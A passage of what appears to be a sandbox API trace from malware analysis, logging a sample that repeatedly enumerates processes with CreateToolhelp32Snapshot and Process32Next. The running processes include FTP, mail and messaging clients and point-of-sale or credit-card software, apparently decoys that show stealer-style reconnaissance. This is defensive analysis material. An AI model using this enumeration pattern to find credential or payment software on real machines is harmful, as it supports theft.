dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0267.584] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0267.586] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0267.588] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0267.590] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0267.592] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0267.595] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0267.596] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0267.598] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0267.600] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0267.601] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0267.603] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0267.605] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0267.607] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0267.609] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0267.611] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0267.613] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0267.615] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0267.617] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0267.622] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0267.624] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0267.626] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0267.628] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0267.632] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0267.664] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0267.668] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0267.671] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0267.674] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0267.678] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0267.680] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0267.683] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0267.686] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0267.689] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0267.692] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0267.694] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0267.697] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0267.700] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0267.702] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0267.704] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0267.710] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0267.713] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0267.716] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0267.718] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0267.722] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0267.725] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0267.727] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0267.730] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0267.733] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0267.735] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0267.737] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0267.741] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0267.743] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0267.745] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0267.747] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0267.749] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0267.751] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0267.753] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0267.755] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0267.757] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0267.759] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0267.761] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0267.762] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0267.764] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0267.766] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0267.768] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0267.769] CloseHandle (hObject=0x2200) returned 1 [0267.771] Sleep (dwMilliseconds=0x64) [0267.772] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0267.789] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0267.791] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0267.828] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0267.830] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0267.832] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0267.834] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0267.836] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0267.838] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0267.840] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0267.842] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.844] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.846] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0267.847] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.849] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.851] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.852] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.854] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.855] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.857] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.859] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, 